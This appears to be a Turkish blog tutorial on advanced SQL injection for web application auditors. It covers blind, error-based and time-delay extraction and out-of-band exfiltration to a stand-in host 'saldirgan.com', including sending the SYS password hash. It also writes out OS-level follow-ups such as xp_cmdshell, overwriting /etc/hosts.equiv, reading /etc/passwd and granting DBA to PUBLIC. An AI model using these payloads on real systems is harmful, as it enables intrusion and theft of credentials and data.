31 Ocak 2015

Web Uygulama Denetimi - Bölüm-10: İleri Saldırı Yöntemleri


Şu ana kadar bahsedilen veri elde etme yöntemlerinde istediğimiz bilgileri bir listenin devamında veya hata mesajlarının içeriğinde görebileceğimizi varsaydık. Ancak artık bu şekilde ortaya çıkan açıklıkların sayısı azalmaktadır. Enjeksiyon yapılabilen durumlarda veri elde etmenin bu kadar kolay olmaması halinde uygulanabilecek yöntemler aşağıda açıklanmıştır.


Veriyi Rakam Olarak Elde Etme


UNION operatörü kullanarak enjeksiyon yaptığımızda eğer metin tipli bir veri kolonu bulamıyorsak metin tipli verilere ulaşmak için metin işleme fonksiyonlarını kullanarak veriyi numerik veriye çevirebiliriz. Örneğin ASCII(‘A’) fonksiyonu 65 numerik değerini döndürür. Bu amaçla kullanılabilecek 2 temel fonksiyon aşağıdaki gibidir:

  • ASCII: parametre olarak aldığı karakterin ASCII kodunu döndürür.
  • SUBSTRING (Oracle için SUBSTR): aldığı metin tabanlı bir girdinin aldığı diğer parametrelere bağlı olarak bir alt metnini döndürür.

Bu iki fonksiyon kullanılarak herhangibir metnin karakterleri teker teker okunup ASCII karakter koduna çevrilebilir. Örneğin:

ASCII(SUBSTR(‘Admin’,1,1)) 65 değerini döndürür.

Metin tipi veriler üzerinde işlem yapan fonksiyonlar bunlarla kısıtlı değildir, daha başka yöntemlerle de metin tipi veri numerik veriye dönüştürülebilir.

Bant Dışı (Out of Band) İletişim Kanallarının Kullanılması


Pek çok durumda UNION operatörü kullanılarak veritabanındaki bilgilere erişmek mümkün değildir. Örneğin login sayfasında herhangi bir veritabanı tablosundaki bilgilere ulaşmak mümkün olmayabilir, ancak yine de istediğimiz sorguları login kontrolü başarısız olsa bile çalıştırabiliriz.

Uygulama hata mesajlarını kontrol ediyor ve enjekte ettiğimiz sorgumuzun sonucuna dair hiçbir işaret dönmüyor olabilir. Bu durumlarda veritabanlarının sağladığı ağ iletişim fonksiyonalitelerinden faydalanarak sorgu sonuçlarımızı farklı kanallardan elde etmeyi deneyebiliriz.

Bu yöntem eğer söz konusu veritabanından sahibi olduğumuz sisteme doğru bir filtreleme bulunmuyorsa başarı ile sonuçlanabilir. Aşağıda farklı veritabanları için uygulanabilecek tekniklere örnekler verilmektedir:

MS-SQL:

  • OpenRowSet fonksiyonu: Bu fonksiyon ile başka bir MS-SQL veritabanına bağlanılarak sorgu sonuçları istediğimiz bir tabloya INSERT edilebilir. Örneğin aşağıdaki enjeksiyon metni işletildiğinde hedef veritabanının versiyon metni kontrol ettiğimiz “saldirgan.com” sunucusu üzerinde çalışan “SQLOLEDB” veritabanı üzerindeki “abc” tablosuna yazılır. Port olarak dışarı yönlü filtreleme yapılmama şansı yüksek olan 80, 53 gibi port numaralarının kullanılması bağlantı şansını artırabilir:

  • insert into openrowset(‘SQLOLEDB’, ‘DRIVER={SQL Server};SERVER=saldirgan.com,80;UID=sa;PWD=passpass’, ‘select * from abc’) values (@@version)

Oracle:

  • UTL_HTTP paketi: Bu paket istediğimiz sunucuya istediğimiz HTTP isteğini yapmak için kullanılabilir. Dolayısıyla bu istek içine almak istediğimiz verileri yerleştirip kendi kontrol ettiğimiz bir sunucuya gelen istekleri dinleyerek bu verilere ulaşabiliriz. Bu yöntemin güzel yanlarından biri de veritabanından dışarı doğrudan iletişim imkanı olmasa da HTTP proxy kullanılıyorsa ve biz bu proxy’nin adresini biliyorsak bu şekilde de dışarı ulaşabiliriz. Örneğin aşağıdaki enjeksiyon örneğinde “all_usersé tablosundaki ilk kaydın “username” değerini “saldirgan.com” adlı sunucumuza gelen GET isteğinin URL’inde görebiliriz:

  • https://hedefsunucu.com/employees.asp?EmpNo=1234’||UTL_HTTP.request(‘saldirgan.com:80/’||(SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))- -

  • UTL_INADDR paketi: Bu paket sunucu isimlerini IP adreslerine dönüştürmek için tasarlanmıştır. DNS trafiğine izin verildiği durumlarda kullanılabilir. Bu paket bir saldırgan tarafından kendi kontrol ettiği bir sunucuya veritabanından elde etmek istediği veriyi çözümlemek istediği sunucunun alt alan adı olarak eklemesi yoluyla DNS sorgusu göndermesi yoluyla kullanılabilir. Örneğin aşağıdaki enjeksiyon metni “saldirgan.com” alanı için yetkisi isim sunucusuna “SYS” kullanıcısının parola hash değerini içeren bir sunucu ismini sorgulamak için DNS sorgusu gönderecektir:

  • https://hedefsunucu.com/employees.asp?EmpNo=1234’||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%20FROM%20DBA_USERS%20WHERE%20USERNAME=’SYS’)||’.saldirgan.com’)

  • UTL_SMTP, UTL_TCP, UTL_UDP paketleri bant dışı bağlantı kurmak ve veri iletmek için kullanılabilecek diğer Oracle araçlarıdır.

MySQL:

  • SELECT ... INTO OUTFILE fonksiyonalitesi: Bu fonksiyonalite ile sorgu sonuçları istenen bir dosyaya (sunucu üzerinde veya ağ üzerinde başka bir makinenin paylaşım dizininde bulunan bir dosyaya) yazılabilir. Eğer saldırganın konumu saldırılan sunucu ile NetBIOS iletişimine veya TCP 445 üzerinden CIFS iletişimine izin veriyorsa UNC (Uniform Naming Convention) formatındaki bir paylaşılmış dizine sorgu sonuçlarını yazdırabilir. Örneğin aşağıdaki komutla “users” tablosunda bulunan tüm kayıtlar saldırganın kontrol ettiği sunucu üzerindeki “share” paylaşımına “output.txt” dosyası olarak yazılacaktır. Ters eğik çizgi karakterleri aynı zamanda kaçış tuşu olduğundan ikişer defa yazılmalıdır:

  • select * into outfile ‘\\\\saldirgan\\share\\output.txt’ from users;

Veritabanlarının İşletim Sistemi Komutları Çalıştırma İmkanları:

Aşağıda daha detaylı değinilecek ancak veritabanı güvenliği olarak başlı başına bir konu olan güvenlik meselelerinden biri de yüksek fonksiyonalite sunan veritabanlarının işletim sistemi komutları çalıştırma imkanları kullanılarak bant dışı iletişim sağlanma imkanıdır. Örneğin bu tür bir imkan kullanılarak işletim sistemi komutlarından telnet, tftp, mail gibi komutlar vasıtasıyla diğer sunucularla iletişim kurmak mümkündür.

Koşulsal Tepkilerden Yola Çıkarak Veri Elde Etme


Enjekte ettiğimiz sorguların sonuçlarını, işimize yarayabilecek hata mesajlarını göremediğimiz, hatta bant dışı kanallara ağ kontrolleri nedeniyle ulaşamadığımız durumlarda son olarak web uygulamasının farklı sorgularımıza karşı göstermiş olduğu farklı tepkilerden yola çıkarak veri elde etme imkanı bulabiliriz. Bu yöntem malesef öncekiler kadar hızlı sonuçlar üretmez, çünkü karakter karakter, hatta bit bit araştırma yapmamız gerekir. Ne varki bu işlemi otomatikleştirmek için araçlar mevcuttur (Absinthe), olmasa da siz de bu işlemi kendi yazacağınız betiklerle yapabilirsiniz. Absinthe gibi bir araç da kullanılsa denetçinin kullanacağı enjeksiyon noktası ve enjeksiyon yapıldığında orjinal sorgunun sentaksını korumak için araştırma yapması ve Absinthe’i buna göre konfigüre etmesi lazımdır (örneğin enjeksiyon öncesi ve sonrası karakterler eklenerek her sorguda sentaksın doğruluğunun sağlanması gerekebilir).

Koşulsal tepkileri açıklamak için şöyle bir örnek üzerinden çalışabiliriz. Aşağıdaki 2 enjeksiyon farklı sonuçlar doğurabilir. Bu fark doğru mantık sonucunu (true) doğuran işlem için normal login ekranının geri gelmesi veya başarılı bir login gerçekleşmesi, yanlış sonuç (false) doğuran işlem için bir hata ekranının görüntülenmesi, veya hata kodu içeren bir HTTP yanıtı kadar bariz bir fark da olabilir, tarayıcı tarafından bariz bir fark doğurmayan ancak geri gelen HTML kodunun içindeki ince bir fark da olabilir. Hiçbir fark elde edemememiz durumunda başvurulabilecek son yöntem olarak zaman gecikmelerinden faydalanma yöntemi de aşağıda açıklanmıştır:

admin’ AND 1=1- -
admin’ AND 1=2- -

Bu farkı tespit ettikten sonra gelen yanıtı doğru ve hatalı sonuçlar için ayrıştırabileceğimiz için veritabanındaki veriler üzerinde testler yaparak veriyi çıkarımsayabiliriz. Örneğin (Admin kelimesinin bir tablo kaydının bir kolonunun değeri olduğunu varsayın) aşağıdaki sorgu da test ettiğimiz verinin ilk harfi “A” harfi ise sorgumuzun ikinci yarısının da doğru (true) sonuçlanması gerekir:

admin’ AND ASCII(SUBSTRING(‘Admin’,1,1)) = 65- -

Eğer 66 değerini test etseydik sorgumuz hatalı sonuçlanacaktı.

Örneğin Absinthe ile bir Oracle veritabanına bağlanan uygulama kullanıcısının kullanıcı adının ilk harfi test edilirken gönderilen ilk sorgu aşağıdaki gibi olabilir:

admin’ AND (SELECT ASCII(SUBSTR(a.username,1,1)) FROM USER_USERS a WHERE a.username = user) = 65

Binary Chop Tekniği: Bu şekilde verilerin elde edilmesinin uzun zaman alacağından bahsetmiştik. Absinthe bu süreyi kısaltmak için “binary chop” adı verilen tekniği kullanır. Örneğin ilk test sorgulana karakter genişliğinin ortasında yer alan X değeri için yapılır ve araştırdığımız karakter bu değerden büyük mü diye bakılır. Eğer büyükse bu kez 1,5X’ten büyük mü diye test edilir, değilse 0,5X’ten büyük mü diye test edilir. Bu şekilde araştırılan karakter mümkün olan en kısa deneme sayısında tespit edilmiş olur.

Bit Testi Tekniği: Araştırma süresini kısaltabilecek bir diğer teknik de araştırılan kelimenin her bir karakterini oluşturan bitlerin test edilmesidir. Bu ASCII ve SUBSTRING fonksiyonlarının yanı sıra POWER fonksiyonu ve “bitwise” VE operatörü olan “&” karakterinin kullanılmasıyla mümkün olur. Aşağıdaki örneklerden birincisinde ‘Admin’ kelimesindeki ilk karakterin 1. bit’inin, ikincisinde ise 2. bit’inin seçili olup olmadığı araştırılmaktadır:

admin’ AND (ASCII(SUBSTRING(‘Admin’,1,1)) & (POWER(2,0)))>0

admin’ AND (ASCII(SUBSTRING(‘Admin’,1,1)) & (POWER(2,1)))>0


Koşulsal Hatalara Neden Olarak Veri Elde Etme


Eğer sadece mantık testleri ile tespit edilebilir bir yanıt farkı üretemiyorsak bu farkı web sunucu hatası oluşturarak doğurmak için bir teknik bulunmaktadır. Bu teknik aşağıdaki tipik bir SELECT cümlesinde “C” koşulunun “X” ifadesinde bulunabilecek fonksiyonlardan daha önce değerlendirilmesi ve eğer bu koşula uyan bir kayıt bulunmuşsa “X” ifadesinin değerlendirilmesi esadına dayanmaktadır.

SELECT X FROM Y WHERE C

Buna göre eğer “X” ifadesi içinde 0’a bölme hatası oluşturacak bir ifade bulunsa bile eğer “C” koşulunu sağlayacak bir kayıt bulunamıyorsa hata oluşmayacaktır. Tam tersi durumda hata oluşacağından “C” koşulunun gerçekleştiğini anlamak mümkün olacaktır. Örneğin Oracle kullanıcısı “DBSNMP” kullanıcısının mevcut olup olmadığını test etmek için aşağıdaki sorgu kullanılabilir:

SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’

Zaman Gecikmelerini Kullanarak Veri Elde Etme


Yukarıdaki yöntemlerin hiçbirinin işe yaramaması durumunda, yani veriye ulaşmanın görünür bir yolu bulunamadığında zaman geciktirme yöntemi ile veriyi tahmin etmek mümkündür. Bu yöntemde aşağıda da açıklandığı gibi veritabanının tipine bağlı olarak veritabanının barındırdığı bir fonksiyonu kullanmak veya veritabanı tarafından kaynak kullanımını gerektirerek veya başka bir sisteme bağlanması istenip bu işlem sırasında bir bekleme oluşturarak zaman geciktirmesi yapmak mümkün olabilir. Tabi bu yöntem de en az önceki çıkarım yöntemleri kadar zaman alacaktır.

Görünmeyen SQL Enjeksiyon Açıklıkları: Enjeksiyon açıklıklarından faydalanmanın böyle bir yolu olması ve bu yolun görünür bir tepki elde edilemediği durumlarda kullanılması akla SQL enjeksiyon açıklıklarının araştırılmasında da bu yöntemin kullanılması gereğini getirmektedir. Çünkü bu durumda açıklığın tek tırnak işaretinin “’” kullanılması gibi konvansiyonel yöntemlerle teşhis edilmesi mümkün olmayacaktır. Bu yöntem ile test yapılması için aşağıdaki enjeksiyon metinleri kullanılabilir:

‘; waitfor delay ‘0:30:0’- -
1; waitfor delay ‘0:30:0’- -

Farklı veritabanları için bu yöntemin kullanılma örnekleri aşağıda verilmiştir:

MS-SQL: WAITFOR komutu kullanılarak koşul doğru olduğunda bekleme sağlanabilir. Örneğin web uygulama kullanıcısının veritabanına bağlanmak için kullandığı kullanıcı kodu “sa” ise aşağıdaki sorgumuz 5 saniyelik bir beklemeye neden olacaktır:

if (select user) = ‘sa’ waitfor delay ‘0:0:5’

Bu yöntemle tüm veritabanları için yukarıda bahsedilen teknikler de kullanılabilir. Örneğin bir kelimenin içindeki karakterler tek tek test edilerek doğru sonuca ulaşıldığında veya bir karakterler içindeki bit’ler tek tek test edilerek doğru bit tespit edildiğinde bekleme yaratılarak verinin içeriği tahmin edilebilir.

MySQL: “benchmark” fonksiyonu istenen bir işlemin istenen kadar tekrarlanmasını sağlar. Bu şekilde hash değerini hesaplama gibi işlemci kaynağını yoğun olarak kullanan bir işlemi çok sayıda tekrar edersek bir zaman gecikmesi sağlayabiliriz. Örneğin aşağıdaki sorguda veritabanına bağlanan web uygulama kullanıcı ismi “root” ise “test” kelimesinin hash değerini hesaplayan “sha1” fonksiyonu 50000 defa çalışarak bir gecikme yaşanacaktır:

select if (user() like ‘root@%’, benchmark(50000,sha1(‘test’)), ‘false’)

Oracle: Oracle’da kullanılabilecek yöntemlerden biri olmayan bir HTTP sunucusuna UTL_HTTP paketi kullanılarak bağlantı sağlanmaya çalışılması ve bağlantı zaman aşımı süresince bir gecikme yaratılmasıdır. Örneğin aşağıdaki örnekte veritabanında tanımlı “DBSNMP” kullanıcısı bulunması durumunda gecikme oluşacaktır:

SELECT ‘a’||UTL_HTTP.request(‘http://olmayansunucu.com’) FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’

SQL Enjeksiyonun Ötesi


Veritabanlarının sunduğu yüksek fonksiyonalite nedeniyle veritabanının ele geçirilmesi verilerin elde edilmesinin ötesinde işletim sistemi ve ağ üzerinden erişilebilen diğer sistemlere de saldırı gerçekleştirme imkanı tanıyabilir. Bu ihtimal veritabanına bağlanan kullanıcının yüksek haklara sahip olması ve işletim sistemi üzerinde veritabanını çalıştıran sistem kullanıcısının yüksek haklara sahip olması ile artar.

Veritabanı açıklıklarının kendi başına bir konu olmayı hakettiğini daha önce belirtmiştik. Bu bağlamda önde gelen veritabanları bazında veri elde etmenin ötesinde SQL enjeksiyonla başarılabilecek diğer saldırılara örnekler vereceğiz. Burada sayılanlara ek olarak veritabanları üzerinde bulunan paket, fonksiyon, nesnelerin lokal kullanıcı haklarını yükseltme imkanı tanıyan SQL enjeksiyon ve klasik hafıza taşma açıklıkları bulunmaktadır.

MS-SQL:

  • xp_cmdshell ve diğer extended stored procedure’lar: xp_cmdshell doğrudan veritabanı kullanıcısı haklarıyla işletim sistemi komut satırı komutları çalıştırma fonksiyonalitesi sağlar. Özellikle öntanımlı kurulumda Local System kullanıcısı olarak çalışan MS-SQL kurulumlarında bu fonksiyonalite ile kullanıcı yaratma dahil pek çok sistem yönetim komutu çalıştırılabilir. Diğer tehlikeli extended stored procedure’lara xp_regread ve xp_regwrite verilebilir. Bu fonksiyonlara her kullanıcı erişemez, ancak “sa” kullanıcısını kullanan bir web uygulaması saldırıya uğradığında bu komutlar çağrılabilir.
  • openrowset: Bu komutla sunucu veya ağa bağlı diğer sunucular üzerinde port taraması, veritabanı sunucusu veya ağ üzerindeki diğer veritabanlarına yönelik kaba kuvvet password saldırısı (örneğin “sa” kullanıcısı için) düzenlenebilir. Bağlanılmak istenen port açıksa bağlantı kurulmaya çalışılacak ve zaman aşımından sonra hata alınacaktır. Eğer port kapalıysa hemen hata alınacaktır.

select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa; pwd=passpass; Network=DBMSSOCN; Address=192.168.0.1,80;timeout=5’, ‘’)

Eğer uygulama veritabanına Windows kullanıcı tanılama sistemiyle bağlanmışsa ve eğer hakkı varsa diğer veritabanlarına da kullanıcı adı ve parola girmeden otomatik olarak bağlanabilir.

Oracle:

  • UTL_FILE ve daha önce bahsedilen diğer paketler (UTL_TCP, UTL_HTTP, vs.):  UTL_FILE ile sistem üzerindeki dosyaları okumak, dosya yaratmak veya dosya içeriğini değiştirmek suretiyle erişim kontrollerini geçersiz kılmak gibi saldırılar yapmak mümkündür. Örneğin veritabanı sunucusu bir Unix işletim sistemi üzerinde çalışıyorsa /etc/hosts.equiv dosyasının içine “++” karakterleri yazıldığında uzaktan bağlantı komutları kullanılarak işletim sistemine erişilebilir (rsh, rexec, vs.). Diğer paketlerle port tarama dahil olmak üzere ağ üzerinde çeşitli aktiviteler gerçekleştirilebilir.
  • SQL enjeksiyon açıklığı bulunan ve lokal privilege escalation saldırısı gerçekleştirilebilecek paketler (örneğin DBA haklarıyla çalışan SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES paketi), ve diğer açıklıklara sahip paketlere yönelik saldırılar (örneğin geçmiş Oracle versiyonlarında bir SQL ifadesinin doğruluğunu test eden CTXSYS.DRILOAD.VALIDATE_STMT paketinin test ettiği ifadeleri DBA haklarıyla gerçekten çalıştırması – exec CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO PUBLIC’))

MySQL:

MySQL diğer veritabanlarına göre daha az fonksiyonalite sunar. Ancak FILE_PRIV hakkına sahip bir kullanıcının işletim sistemine dosya yazma ve sistemden dosya okuma hakkı veren LOAD_FILE komutu ile şunlar yapılabilir:

  • Yukarıda verilen örnekte olduğu gibi bir Unix işletim sistemi üzerinde konfigürasyon dosyaları değiştirilebilir:
create table test (a varchar(200))
insert into test(a) values (‘++’)
select * from test into outfile ‘/etc/hosts.equiv’
  • İstenilen bir sayfanın içeriği okunabilir:
select load_file(‘/etc/passwd’)

MySQL tabloları normal metin dosyaları olarak sakladığından herhangi bir tablodaki tüm bilgiler herhangi bir kısıtlama olmaksızın tamamen okunabilirler.


<<Önceki Bölüm                                                                                                      Sonraki Bölüm>>